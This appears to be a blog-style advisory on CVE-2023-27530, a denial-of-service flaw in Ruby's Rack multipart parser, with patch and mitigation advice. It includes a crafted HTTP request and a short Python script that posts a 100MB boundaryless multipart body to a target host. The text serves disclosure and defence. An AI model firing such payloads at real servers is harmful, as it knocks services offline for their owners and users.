In March 2023, a serious vulnerability was disclosed in the popular Ruby web server interface library, Rack. Tracked as CVE-2023-27530, this security flaw can allow attackers to slow down and potentially crash (DoS) web servers by abusing the way Rack parses multipart MIME form files. If you run a Ruby web application (Rails, Sinatra, Hanami, etc.), you should check your Rack version immediately. This post will break down the vulnerability, show a simplified PoC, and offer guidance for mitigation.

Multipart MIME parsing (handling form uploads)

When a user submits a file (or similar form) via POST, Rack parses the request body according to the "multipart/form-data" specification. Mishandling in Rack’s multipart parser means an attacker can craft a request that causes the parser to enter a slow parsing loop. The more times this happens, the more server memory and CPU gets tied up, eventually denying service to real users.

CVSS Score: 7.5 (High)  
See the official CVE record.

Why Is This Dangerous?

The multipart MIME parser needs to scan through raw request data, searching for boundaries between uploaded files or form fields. If an attacker crafts a request body so that the parser must check enormous amounts of data for boundaries that never appear, the logic will loop many times, causing heavy CPU use or even exhausting web server threads/capacity.

Put simply: non-malicious users are starved out while the server is busy with an attacker’s request.

Here’s a simplified Ruby pseudocode highlighting the parsing risk

# Core of the Multipart parser in older, vulnerable Rack
def parse_multipart(env)
  boundary = env['CONTENT_TYPE'][/boundary=(.*)$/, 1]
  buffer = ""
  while chunk = env['rack.input'].gets(BUFSIZE)
    buffer << chunk
    # Find boundary in buffer; if not found, keep reading
    unless buffer.include?(boundary)
      # This keeps growing if attacker never sends the boundary!
      next
    end
    # ... actual parsing code for form fields/files ...
  end
end

In this sketch, if the boundary never appears in the input, or it appears deep in a huge payload, parsing loops and resource use skyrockets.

Exploit Example: How Could an Attack Work?

Suppose the attacker crafts a multipart form where the “boundary” is declared, but then the bulk of the data never contains this boundary (or only after, say, 100MB of junk data). Here’s a simplified HTTP request illustrating the technique:

POST /upload HTTP/1.1
Host: target.example.com
Content-Type: multipart/form-data; boundary=SuperSlowBoundary
Content-Length: 100000000

--SuperSlowBoundary
Content-Disposition: form-data; name="file"; filename="a.txt"
Content-Type: text/plain

# [100MB of "A"s, with no --SuperSlowBoundary following]
(...repeat for 100MB...)

If your Rack server processes this input, it will be stuck looking for --SuperSlowBoundary, repeatedly scanning through the huge body. If you open multiple connections like this, you consume all server threads, CPU, and even disk if temporary files are created.

You can simulate this with a script

import requests

url = "http://target.example.com/upload";
boundary = "SuperSlowBoundary"
garbage = "A" * (100 * 1024 * 1024)  # 100MB of data

payload = f"--{boundary}\r\n"
payload += "Content-Disposition: form-data; name=\"file\"; filename=\"slow.txt\"\r\n"
payload += "Content-Type: text/plain\r\n\r\n"
payload += garbage
# No closing boundary to trap the parser in a waiting loop

headers = {
    "Content-Type": f"multipart/form-data; boundary={boundary}"
}

response = requests.post(url, data=payload, headers=headers)
print(response.status_code)

Warning: Running the script against a system you don’t own is illegal and unethical.

Your Gemfile should look like

gem "rack", ">= 2.2.6.3"

Then

bundle update rack

If you cannot update

- Limit request body size using web server configs (nginx: client_max_body_size, Apache: LimitRequestBody)
- Use a WAF to inspect multipart parsing times or large/slow payloads

References and Further Reading

- Rack Security Advisory
- Official CVE Record
- Rack source code (GitHub)
- Ruby on Rails Security Guide

Conclusion

CVE-2023-27530 is a textbook Denial of Service bug in a core component of the Ruby web ecosystem. If attackers can spam your server with malicious or simply slow multipart requests, they can tie up your app or even take it offline.  
Patch your dependencies or add server-side limits to keep your users—and your server—safe.

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Timeline

Published on: 03/10/2023 22:15:00 UTC
Last modified on: 03/16/2023 16:18:00 UTC